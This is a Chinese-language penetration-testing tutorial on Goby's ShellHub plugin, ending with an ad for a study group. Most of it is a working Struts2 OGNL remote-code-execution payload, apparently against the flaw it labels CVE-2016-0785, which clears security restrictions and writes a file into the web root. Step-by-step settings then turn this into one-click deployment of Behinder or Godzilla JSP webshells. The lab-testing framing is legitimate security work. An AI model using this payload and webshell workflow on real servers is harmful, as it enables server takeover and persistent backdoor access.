前言: 渗透测试过程中发现存在文件上传漏洞时,我们往往会尝试通过上传木马文件获取一个 webshell。上传的木马文件通常需要一个客户端例如冰蝎和蚁剑进行 shell 的获取及管理,在这一过程中用户需要打开管理工具并填写连接信息如上传文件的 url、连接密码等。然而,Goby 中 ShellHub 的出现可以使这个过程一键优雅的实现,只需点击 webshell 键即可弹出 webshell 控制窗口。
0×01 插件安装
ShellHub 已支持在 Goby 最新版插件扩展模块中一键下载安装。
下载完 ShellHub 插件后即可在 PoC 页面定义相关的漏洞一键 webshell。
0×02 插件使用
本次选取 cve_2016_0785-Strtus2 远程代码执行漏洞获取 webshell 作为 PoC 演示。
1.在漏洞模块新建 PoC, 填写名称匹配规则和描述等基本信息:
2.在漏洞扫描检测页面设置 HTTP 请求方法为 POST。
在 Content-Type 字段中填入本次漏洞利用的 payload,在漏洞测试环节中 name 和 file 变量暂时用不上。
payload:
%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#req=(@org.apache.struts2.ServletActionContext@getRequest())).
(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).
(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).
(#fw.flush()).(#fw.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).
(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}
3.在 Payload 中实现一个功能:打印出 UPLOAD-OK 字符串,作为漏洞是否利用成功的依据。
4.在攻击测试页面中定义 3 个变量,其中前两个变量 name(为随机生成的 8 位冰蝎马前缀 +.jsp 后缀构成冰蝎马相对路径),file 变量表示写入的木马文件内容。payload用上面测试的即可,上述变量会被引用至 payload 中。
变量详情:
name|rand|str|8
//生成8位随机字符
name|name|concat|.jsp
//前面生成的字符加上后缀构成木马相对路径
file|genshell|exp|B:jsp
// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如<?php echo md5(随机值);unlink(\_\_FILE\_\_);?>; exp 代表上传一个 webshell;B:jsp 代表生成冰蝎的 jsp 马,同理还有 G:jspRaw 代表哥斯拉的 raw 类型的 jsp 马
5.设置漏洞利用成功标识-响应包中含有 UPLOAD-OK 字符串,设置 EXP 返回信息,包含:webshell 地址,webshell 连接密码,webshell 连接工具即可。
6.在 vulfocus.fofa.so 页面下快速启动一个用来测试的漏洞环境。
将存在漏洞的 url 导入,进行漏洞扫描和利用测试。
扫描验证成功后点击 webshell 即可一键获取 webshell。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!